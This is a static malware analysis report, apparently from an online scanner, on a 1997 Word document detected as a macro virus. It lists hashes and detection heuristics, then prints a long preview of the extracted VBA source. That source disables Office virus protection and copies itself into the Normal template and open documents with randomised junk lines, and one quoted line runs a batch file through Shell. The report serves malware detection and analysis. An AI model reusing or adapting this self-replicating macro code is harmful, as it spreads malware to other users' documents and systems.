Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c23e474167137acb…

MALICIOUS

Office (OLE)

82.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 49f5483ff820b998c01f752499f2f433 SHA-1: db06f51243aaedb593399202065af0ed19b1f031 SHA-256: c23e474167137acb6601a34f1e5af9f6bccf25720a00fcd98754e99dde12ef9d
296 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are commonly used to initiate malicious actions upon document opening. The critical heuristic firing for a Shell() call in VBA indicates that the macro attempts to execute external commands. This strongly suggests the macro's purpose is to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 8

  • ClamAV: Doc.Trojan.IIS-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.IIS-18
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(windir & "\System\lo.bat", 0)
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    If UCase(l) = "SUB AUTOCLOSE()" Then
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 115277 bytes
SHA-256: 92d65abee85f7c380ac9530392fdd3e4df9cbdadc0b0255392dfd8d3b91e15c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Sub AutoOpen()
Û¶Ô = "‹¸©"
õ´äˆ“ϯƨ”Öœ¨ƒšÏç�çí…·ÖÂ�®¢»¥Î�Ô曳µé _
= Chr(204)
ØÍ¿ð‡Ð´í¨²²¡¸¼¶¿¥ÀâîÙÛ¼�¨›úðϧºä¡»â‡›Ô“ƒºà«ƒ”´´ï _
= _
Chr(89)
Œó‰“–Ú“ê§ÎÕ¸‚�ãäÑÙŸÁÅ´öÞÐ’´ø ùó÷Å = Chr(127)
£�‰‹†·Ëºž“§Š‹Ï²ÀùõïìÒæÃúè ÚȤæ„âé¶ßëÔÞª˜Þ¦Žì = "’øøŸ§ÏË™ "
ø×уÍ׎¤†¨ÊÁš�Þ‹ì¥ú걃ÞøÀñ¿Ûùʪ²¯ì _
= _
Chr(70)
÷¢£ÞÝùÅŸ®îÍÝØŠ÷Ã��úÜÏ›©ÌïèÄ𧌯ӓèÝ¢œÉ¨‡ñ • = Chr(75)
÷Œ¦¼“ؽÙÖÃ†Ï = "¡¾�’Ç¥¿ÞõåÅŸ„Šë§ŒÜ×"
ÒƧȔٮ¼ _
= _
Chr(227)
Û—«Õ = "ù«Ä�Ƚ¢éµäø"
ሞ�ä¢ôœ³  = "ž"
¬ œ’寗͉žõÌÐç¯æ¢‰à‡Ž…•õÀ¾­È‹ôÈ´�¹Þ¼“¸ÐòÏ�õš¬‹šÛ¬ _
= _
Chr(85)
ÀÆ¥šö = Chr(241)
ºß›Ùàò“ÒÉšîÝœã÷ž­òï²Âö = "ƒÉ̪¶ƒ˜†ŸÛöñέ•«àÈÏ"
�”Ý _
= _
Chr(105)
°ˆ”æò = "μÑæÔðššÝ"
Ò†�Èé²È½†åÚà”Û×”¿Ìáí÷¤ùˆƒ‹ê‡«æ›™ã§ÂÊ篊î‘ÂăÀ‹Â‡úæ = "ÐÎÁõƒ”ö"
Œé¡ïجʣ©›Àðã = "�—¢"
Â˔Ͳ·Ìó�ó·½ñ¯» = Chr(113)
¬ÏÐåƒÛõÜÄ _
= Chr(76)
÷ѽ¸èêÅÒ̯»²º “ñ�ãÕ”ƒËöߌ‚�´ _
= _
Chr(120)
À¸ä£ô˜ŠàÐ÷ó« = Chr(73)
¥Å˜ñ»ÙÈ¡Ùè¼®ô—‡Î = "¦ÁöÚèÞ"
ªŸ»­ƒœŒÈàê½õˆ›¾àÖ‰ª×´šî _
= _
Chr(72)
ãÑ÷èîÍñÕçž‹Å´ÕеúíëÞôÑžÀÖÔ’«—âòÀç¹—ùÚ«×ÑÓâÆôÔŸÖÕï = Chr(72)
å΢܂ԯÄÆÃåÑ _
= Chr(136)
¶�ŽÉÜœãªÊö�ÈÓ¡Í = "¢"
¶·Áõ¦¯Ñ“®ÖÅì¤úµ·Óðã = "å÷㱼ȹêóïä¹Ñ¼“¿"
„ä¥äÜà‡ ’œ³¾ð‰áß�ãß’Ó•¢Ô„Ÿø�鎔 = "â¯ÉÎïõÎë"
éá̘³š÷Æ�ÝÙ¡ƒ³Ýà = "ô©¡ì碪ÂÏ�"
öçàÈ¡‰ªÁ ‘³Ä�‘ = "äÑ«ÔÁžö˜Ú£öè‡Õ‚"
æç±ØĨùˆÌ�¿¢�ÁÚÌȸ�°š»õêä®ÅÄà¥ä = "èß¹·�Åâԣ߳Ñõ²Œ¨¨øÔç"
èÁÚÓÝ¡�ð�óÉç¤Ë­‡ = "ŠžŸÐˆÞÕ¥Œ–ÎÊ̵­„"
’�Œ¨åî펠�í¶óë–ÜÛת»åï—¢›®ÒÎìŠ = Chr(70)
“ç�Уäá˜Ó’—‰ç鶿֩ú´Þîò•àÊÔà˜±ò« = "Ÿ"
ᔃŒåö = "…’ÂÎغ"
ó½°¨Ïð¸”±É = Chr(218)
ÎÛ†øéöŽÞä™èƒöÖ܆ÉæšÖÒ±ÌÈ›À¬Ú²æòù‡›Ø�Ϋ´¢¾¸Ö—Ÿ _
= Chr(43)
ðÒ‚®ì‹”ÞŸ‚÷Õ�š _
= _
Chr(101)
ÖÛŬ�ÏÚðô¿Ì˜Ì‹§Ø‹˜Á’àˆÄ…•Ï‚†ì໻䙮¯„˜�œ¹Ô½ = Chr(70)
£äÐæ§ÔØáÈ�ä§ÄÁúˆŒ§«¦ = "Þƒ½¹Š‚Ø»æÄò„"
Ø…¨ÈʤŒÕÀԑΪö•ê·ÕâäˆÐÌ�¦¾ö¯�¥ÎÐá§óìõñå _
= _
Chr(6)
Èø烔ǩ�쳩ö¼××ÕÓàè‹Õ•’’Ù™œÅôëàÄ� = Chr(67)
×åí—ØÏ߯œï�¯ÒÒÅ…ä÷÷ŽèÝ­°½òƒïµéáõÚæÄ ¿ÚéÉ» _
= Chr(154)
ÊÂñțΡè«äǯãå›…ÄÁ¸º˜„¦ÛºÒ�žÃëÅÏßÊ = "¯‰Ö�ö¿"
ºœ = Chr(188)
 Ìñ¶¸Üƒøöลó’’ù£Û»í�ñÙö�ËåΔƒÏë = "ƒÔ"
¬‡»àÒµàù›óšˆÎéï·‘±¬ŠÌž³É‚–î§åèÆííØ⊶DŽ¦’‡’èì…ÊÇ� = "½Üò³ãÑ›¢"
§¡©Ç˃ǫç¿ãÀ¿Ùõç¾øÄé芴„Ú¨ö†Ÿ—›­žÇ½‘£³·�êóèì�² = "¢"
›ù¯ØÐ�œ…¦ôؙ߶¦Ø _
= Chr(76)
Ëì¸ðÄ”­ó�Ôè÷µ±å = "뮂í΂Í"
“òÜкÖÓ΋‰…õ›‚—Ì›�£©•ì¿÷¦õ”¼¼¦ðáØà­ˆÀš¾³­ÂôÔ¦ö× = Chr(202)
‹ê¥Ø÷©žÇàÐíÇÖàŠ¤Û¾Æ—Ÿ�Ù¨ƒ§º»¥ÒÒ¾íÕ”ñô¼¡´ˆš ˜°çÏí _
= Chr(103)
¶æã�ùÉÔ�¸“™¶Ï„ŒÂաϵ¢Ø„º©�ÀŠ¯Á�Ÿèù“„°Á±¬ÌäÖ· = "Ê“¡�àé¡Ü¡§² Ô¥Ô–Í"
›‘šØ·µ©Ë㘼•¶Ûë¯Ú = Chr(98)
£¬ø“¾À› = "¯ž"
һľÈ�‰¯Ï“Ѩ³³Á³ëÞ㊫‡ßõªÉØÀ�ÅíÞ _
= _
Chr(2)
„÷ŒåΞâ„ã†ô£ÂÞ¬Ìó¢Û“½ØòÁØ•Æ’†ð¸’¢è‰† = "ñ’ÂêÕ‡–Ø‘¹âñóÑŒ·Ÿ"
«Ð¸»¦«è½†ùéƆ©�•ì‡ÉÂå£îÒÁ™Ø¼�¾¡â¹ = "�ÖõÊ¢ö¿¨£�Ú"
»íí–Åä¯ÊÆï éλêÌ ¿–ƒÛ°Ø�âìÈžÄø�™­‘¶Á¡— = "ÝøÊ�ÅëãŽÄ"
øÂ…¾î’ÛБ¼®«´©‡­æõ¼½Ë³ÃʽΖǜ¶°‚È¥Ó¹¾ÔÑâ = "�ƒ"
ù褞Øø´£ÁÏŸÒΣ«÷Úµ¾Ÿ÷î = "èçØËšÛèŸÝÇò"
 ÝËʎȽŒ¹¶ ‡Ð¦ñÔÓÊÊÑÒ î = "ÌèùŽŸÝÏ´‡¯¡à"
Þ”Ôáôõ䋤°Í„’ÄÜ­õƒ�šß̼¢Æ†å = "¯óÛ䮥"
ê­šÔÏâ¦ßÃÒ¯‚èäùŠêäËÊÊ­¯ã‘ = "ÆÑÍ­ÊùÙ¾ð¢‚À‚Ê"
œ¢Åõ½„ÀÔ¨Û�¹ø뚴аţˆ›ïÙì³ëןÀôÝÁåÌ–®—ÛÞ = "Ò"
°Ç˜ôʦƒ”›ä�Ö¾¸�µ‡ùض’©¾ŽÜô©ÈÂ˱œ½·³¤¯¥Ÿ˜ŒÌÅ– = "׿à§"
—¦»ÖË´Ž“¸ÑÙ±£ÕÁ„õéö£ïé¯×âÎ⛌ÛÛ÷ _
= Chr(235)
ª = "Ã…ñÕµ–"
ø‡êð�žíñ²®ç†Òî­¥�ÈŸùÁØŸßÛÇÙ³ = Chr(86)
ªºïÂ×ÓÍà‚ÊʵäØÑáêÔ¾ÀßøÝ„ _
= Chr(244)
’œõ£ÆÔ†ÙØ›«Êè䌳˃«‘ªãβˌø‹Ì _
= _
Chr(87)
í«›Ûª�òÁ¶žŠ— = Chr(90)
í�¹éŸóÍ _
= Chr(247)
ļåŒÍÅÏÃÜ짫‚¢´’®ˆÞàó�’°‹ = "æìëÄ„Ï™’"
áòù¡µ‡õê = "𸕭”ňÕá"
Œ½šÜö = " àëëÍîæاł÷Ã"
©¯ò¬Çú¼é¢¾ïäõ¦ã‰¹ÒÍÅ¢ = "Å»¹ö¬æËçòŽÀšð®"
¸¾à·ßÉÛ֗賟–ëŽÈîÒ«Ó¨ñ癢«�ŒÑÀùŠÊ¦Â” = "ð³¦­à‰·ÄÙä¾àöåÑð¦§èê"
‹œ ‹Ò�Òß¡–¸¸�„ðÚúʼڧ鲳צ–ðïû³¡¬·ï÷²Ì _
= Chr(97)
ÀòÊàïÚ‡’ = "›Ãâ�ìç“Ë¢‘•áó‚"
º›…�»�ˆãÖ–˜Šòᾡ⑌ÉðÊ‹„ð»°Óçù�¯ß = Chr(206)
ãú¾‚ÅõÑÖ¼—ÄË�åÖÊœ�çÇ÷ž×›…™ÊÎÞŽ˜‰•¿ìÍ·œ‘››íèÕïÎÕ = "ˆóâ¦÷"
�©¹ÐƳéÈŸíÜ‚ò _
= _
Chr(110)
âÒ�»©×•Ã™íàØñ”’º…²´Æ¦Æ´Ü湊 = Chr(56)
⼌ _
= Chr(78)
´’¬ºï¨Ú°Ø›®í­øÀ•µ�ÖÑŽ¬Ä¦»ÏïÉ�°Ò¤Á½­‘Óç휠�ÀÙë‹Ê = "öò"
ˬ½¢ì³ÖÚºÔ³ØÕ‡µÖ¨»ùöÊŸ£… = "‚¶‡´¥ŠÏì¢ÂÒÚ†î—ê"
Ö = "Š«¦ˆöéÉ"
ó¯Ý§ÉÕ‰˜ÚؘÀóøöçÊ’«®µðà𢯅šáÑÀÍ¢‰¹¤Ò�ß°“¥ƒÕÈ  = "£ÃŸ‰Ë¯ì©ƒ"
‚ß‘¿¨¹ñ·°—­¬ÖºÓ�ò’¡”øƒ‹¾ Â‚«§ù·‡µÆÌ¥êœ = Chr(49)
‡ƒïŽóùë¡Û�ð¶âÐ = "® ‰�͇÷ÉÃø²ÏÊà¶"
Application.ShowVisualBasicEditor = False
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo NoSet
NoSet:
begin:
NormAt = False
VBE.CommandBars("Edit").Controls(1).Enabled = False
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros _
0
Options.VirusProtection = False
Options.ConfirmConversions = False
Application.ScreenUpdating = False
Options.SaveNormalPrompt = False
Close _
#1
Open "c:\msdos.sys" For Input As #1
Do Until EOF(1)
Line _
Input #1, a
If Left(UCase(a), 7) = "WINDIR=" Then
l = Len(a)
windir _
= _
Mid(a, _
8, l)
End _
If
Loop
If windir = "" Then Exit Sub
On _
Error GoTo NoInf
ms = NormalTemplate.VBProject.VBComponents.Count
For _
t2 _
= _
1 To ms
ls = NormalTemplate.VBProject.VBComponents(t2).CodeModule.countoflines
If _
ls _
> _
3 Then l = NormalTemplate.VBProject.VBComponents(t2).CodeModule.Lines(1, 1)
If UCase(l) = "SUB AUTOCLOSE()" Then
NormT = 1
Exit _
For
End _
If
Next _
t2
ms = ActiveDocument.VBProject.VBComponents.Count
For _
tg _
= _
1 To ms
ls = ActiveDocument.VBProject.VBComponents(tg).CodeModule.countoflines
If _
ls _
> _
3 Then l = ActiveDocument.VBProject.VBComponents(tg).CodeModule.Lines(1, 1)
If UCase(l) = "SUB AUTOOPEN()" Then
Acd = 1
Exit _
For
End _
If
Next _
tg
If _
Acd _
= _
1 _
And _
NormT = 1 Then Exit Sub
If _
Acd _
= _
1 Then
FullCodeN = "Sub AutoClose()" & Chr(13)
t = 0
Randomize _
Timer
t _
= _
CInt(Rnd _
* 100)
If _
t _
< _
50 _
Then _
g = 1
If _
t _
> _
49 _
And _
t _
< _
101 _
Then _
g = 2
If _
g _
= _
1 Then
v _
= _
CInt(Rnd _
* 50)
For _
vs _
= _
1 To v
beginNn:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo beginNn
If _
Z _
< 65 Then GoTo beginNn
If _
Z _
< 130 Then GoTo beginNn
va _
= _
va _
& Chr(Z)
Next _
vs
v _
= _
CInt(Rnd _
* 20)
For _
vss _
= _
1 To v
begin5:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo begin5
If _
Z _
= 34 Then GoTo begin5
If _
Z _
< 130 Then GoTo begin5
Inn _
= _
Inn _
& Chr(Z)
Next _
vss
FullCodeN = FullCodeN & va & "=" & Chr(34) & Inn & Chr(34) & Chr(13)
End _
If
If _
g _
= _
2 Then
v _
= _
CInt(Rnd _
* 50)
For _
vsss _
= _
1 To v
begin2:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo begin2
If _
Z _
< 130 Then GoTo begin2
va _
= _
va _
& Chr(Z)
Next _
vsss
Z _
= _
CInt(Rnd _
* 250)
Inn = "Chr(" & Z & ")"
FullCodeN = FullCodeN & va & "=" & Inn & Chr(13)
End _
If
If _
g _
= _
3 Then
v _
= _
CInt(Rnd _
* 50)
va = "'"
For _
vssss _
= _
1 To v
begin3:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo begin3
If _
Z _
< 130 Then GoTo begin3
va _
= _
va _
& Chr(Z)
Next _
vssss
FullCodeN _
= _
FullCodeN & va & Chr(13)
End _
If
If _
g _
= _
4 Then
v _
= _
CInt(Rnd _
* 50)
For _
vsssss _
= _
1 To v
begin4:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo begin4
If _
Z _
< 130 Then GoTo begin4
va _
= _
va _
& Chr(Z)
Next _
vsssss
va = va & ":"
FullCodeN _
= _
FullCodeN & va & Chr(13)
End _
If
aaaa = ActiveDocument.VBProject.VBComponents.Item(tg).CodeModule.countoflines
hh = 1
Do
If _
hh _
= aaaa Then GoTo nextterm
hh _
= _
hh _
+ 1
a _
= ActiveDocument.VBProject.VBComponents.Item(tg).CodeModule.Lines(hh, 1)
If Right(a, 1) = ":" Then
FullCodeN _
= _
FullCodeN & a & Chr(13)
GoTo _
NextLineN
End _
If
Spac = 0
t = 0
PosL = 0
BeginN:
l = Len(a)
Do
If _
PosL _
> l Then GoTo NoCN
PosL _
= _
PosL _
+ 1
If _
Mid(a, _
PosL, 1) = Chr(34) Then
FullCodeN _
= _
FullCodeN & a & Chr(13)
GoTo _
NextLineN
End _
If
Loop
NoCN:
PosL = 0
If Right(a, 1) = "_" Then GoTo UnsplitN
GoTo _
SplitN
UnsplitN:
v = 0
Y = a
Do
If Right(Y, 1) <> "_" Then GoTo NoChN
l = Len(Y)
PosL = 0
Do
PosL _
= _
PosL _
+ 1
s _
= _
Mid(Y, _
PosL, 1)
If s = "_" Then GoTo FoundN
Loop
FoundN:
Spac _
= _
PosL _
- 1
Y _
= _
Left(Y, _
l - 1)
hh _
= _
hh _
+ 1
a _
= ActiveDocument.VBProject.VBComponents.Item(tg).CodeModule.Lines(hh, 1)
v = 1
Y _
= _
Y _
& a
Loop
NoChN:
a = Y
c = 0
PoslO = 0
PosL = 0
GoTo _
BeginN
SplitN:
PosL = 0
l = Len(a)
k = 0
If _
Spac _
<> _
0 Then
Do
k _
= _
k _
+ 1
If _
k _
> l Then GoTo NC
s _
= _
Mid(a, _
k, 1)
If s = " " Then g = k
Loop
NC:
If _
g _
<= _
Spac Then
FullCodeN _
= _
FullCodeN & a & Chr(13)
GoTo _
NextLineN
End _
If
End _
If
Do
If _
PosL _
> _
l Then
FullCodeN _
= _
FullCodeN & a & Chr(13)
GoTo _
NextLineN
End _
If
PosL _
= _
PosL _
+ 1
s _
= _
Mid(a, _
PosL, 1)
If _
s _
= _
Chr(34) Then
FullCodeN _
= _
FullCodeN & a & Chr(13)
GoTo _
NextLineN
End _
If
If s = " " Then
If _
Spac _
= _
0 Then
f = Left(a, PosL) & " " & "_"
las _
= _
Mid(a, PosL + 1, l)
FullCodeN _
= _
FullCodeN & f & Chr(13)
FullCodeN _
= _
FullCodeN & las & Chr(13)
GoTo _
NextLineN
End _
If
If _
PosL _
<= _
Spac Then
wa _
= _
PosL _
- PoslO
If _
PoslO _
<> _
0 Then
temp = Mid(a, PoslO, wa) & " " & "_"
Else
temp = Mid(a, 1, PosL) & " " & "_"
End _
If
FullCodeN _
= _
FullCodeN _
& _
temp & Chr(13)
PoslO = PosL + 1
c = 1
GoTo _
NextCharN
Else
c = 1
wa _
= _
PosL _
- (PoslO)
temp = Mid(a, PoslO, wa) & " " & "_"
Temp2 _
= _
Mid(a, PosL + 1, l)
FullCodeN _
= _
FullCodeN _
& _
temp _
& Chr(13) & Temp2 & Chr(13)
If _
PosL _
> Spac Then GoTo NextLineN
GoTo _
NextCharN
End _
If
temp = Mid(a, PoslO + 1, PosL) & " " & "_"
FullCodeN _
= _
FullCodeN & temp & Chr(13)
GoTo _
NextLineN
End _
If
NextCharN:
Loop
FullCodeN _
= _
FullCodeN & Y & Chr(13)
GoTo _
NextLineN
NextLineN:
Loop
nextterm:
End _
If
If _
NormT _
= _
1 Then
FullCodeD = "Sub AutoOpen()" & Chr(13)
t = 0
Randomize _
Timer
t _
= _
CInt(Rnd _
* 100)
If _
t _
< _
50 _
Then _
g = 1
If _
t _
> _
49 _
And _
t _
< _
101 _
Then _
g = 2
If _
g _
= _
1 Then
v _
= _
CInt(Rnd _
* 50)
For _
vDs _
= _
1 To v
beginDD:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo beginDD
If _
Z _
< 65 Then GoTo beginDD
If _
Z _
< 130 Then GoTo beginDD
va _
= _
va _
& Chr(Z)
Next _
vDs
v _
= _
CInt(Rnd _
* 20)
For _
vDss _
= _
1 To v
beginD5:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo beginD5
If _
Z _
= 34 Then GoTo beginD5
If _
Z _
< 130 Then GoTo beginD5
Inn _
= _
Inn _
& Chr(Z)
Next _
vDss
FullCodeD = FullCodeD & va & "=" & Chr(34) & Inn & Chr(34) & Chr(13)
End _
If
If _
g _
= _
2 Then
v _
= _
CInt(Rnd _
* 50)
For _
vDsss _
= _
1 To v
beginD2:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo beginD2
If _
Z _
< 130 Then GoTo beginD2
va _
= _
va _
& Chr(Z)
Next _
vDsss
Z _
= _
CInt(Rnd _
* 250)
Inn = "Chr(" & Z & ")"
FullCodeD = FullCodeD & va & "=" & Inn & Chr(13)
End _
If
If _
g _
= _
3 Then
v _
= _
CInt(Rnd _
* 50)
va = "'"
For _
vdssss _
= _
1 To v
beginD3:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo beginD3
If _
Z _
< 130 Then GoTo beginD3
va _
= _
va _
& Chr(Z)
Next _
vdssss
FullCodeD _
= _
FullCodeD & va & Chr(13)
End _
If
If _
g _
= _
4 Then
v _
= _
CInt(Rnd _
* 50)
For _
vdsssss _
= _
1 To v
beginD4:
Z _
= _
CInt(Rnd _
* 250)
If _
Z _
= 13 Then GoTo beginD4
If _
Z _
< 130 Then GoTo beginD4
va _
= _
va _
& Chr(Z)
Next _
vdsssss
va = va & ":"
FullCodeD _
= _
FullCodeD & va & Chr(13)
End _
If
aaaa = NormalTemplate.VBProject.VBComponents.Item(t2).CodeModule.countoflines
hh = 1
Do
If _
hh _
= aaaa Then GoTo EndTerm
hh _
= _
hh _
+ 1
a _
= NormalTemplate.VBProject.VBComponents.Item(t2).CodeModule.Lines(hh, 1)
If Right(a, 1) = ":" Then
FullCodeD _
= _
FullCodeD & a & Chr(13)
GoTo _
NextLineD
End _
If
Spac = 0
t = 0
PosL = 0
beginD:
l = Len(a)
Do
If _
PosL _
> l Then GoTo NoCD
PosL _
= _
PosL _
+ 1
If _
Mid(a, _
PosL, 1) = Chr(34) Then
FullCodeD _
= _
FullCodeD & a & Chr(13)
GoTo _
NextLineD
End _
If
Loop
NoCD:
PosL = 0
If Right(a, 1) = "_" Then GoTo UnsplitD
GoTo _
SplitD
UnsplitD:
v = 0
Y = a
Do
If Right(Y, 1) <> "_" Then GoTo NoChD
l = Len(Y)
PosL = 0
Do
PosL _
= _
PosL _
+ 1
s _
= _
Mid(Y, _
PosL, 1)
If s = "_" Then GoTo FoundD
Loop
FoundD:
Spac _
= _
PosL _
- 1
Y _
= _
Left(Y, _
l - 1)
hh _
= _
hh _
+ 1
a _
= NormalTemplate.VBProject.VBComponents.Item(t2).CodeModule.Lines(hh, 1)
v = 1
Y _
= _
Y _
& a
Loop
NoChD:
a = Y
c = 0
PoslO = 0
PosL = 0
GoTo _
beginD
SplitD:
PosL = 0
l = Len(a)
k = 0
If _
Spac _
<> _
0 Then
Do
k _
= _
k _
+ 1
If _
k _
> l Then GoTo DC
s _
= _
Mid(a, _
k, 1)
If s = " " Then g = k
Loop
DC:
If _
g _
<= _
Spac Then
FullCodeD _
= _
FullCodeD & a & Chr(13)
GoTo _
NextLineD
End _
If
End _
If
Do
If _
PosL _
> _
l Then
FullCodeD _
= _
FullCodeD & a & Chr(13)
GoTo _
NextLineD
End _
…

Open this report in the interactive analyzer, or submit your own file for analysis.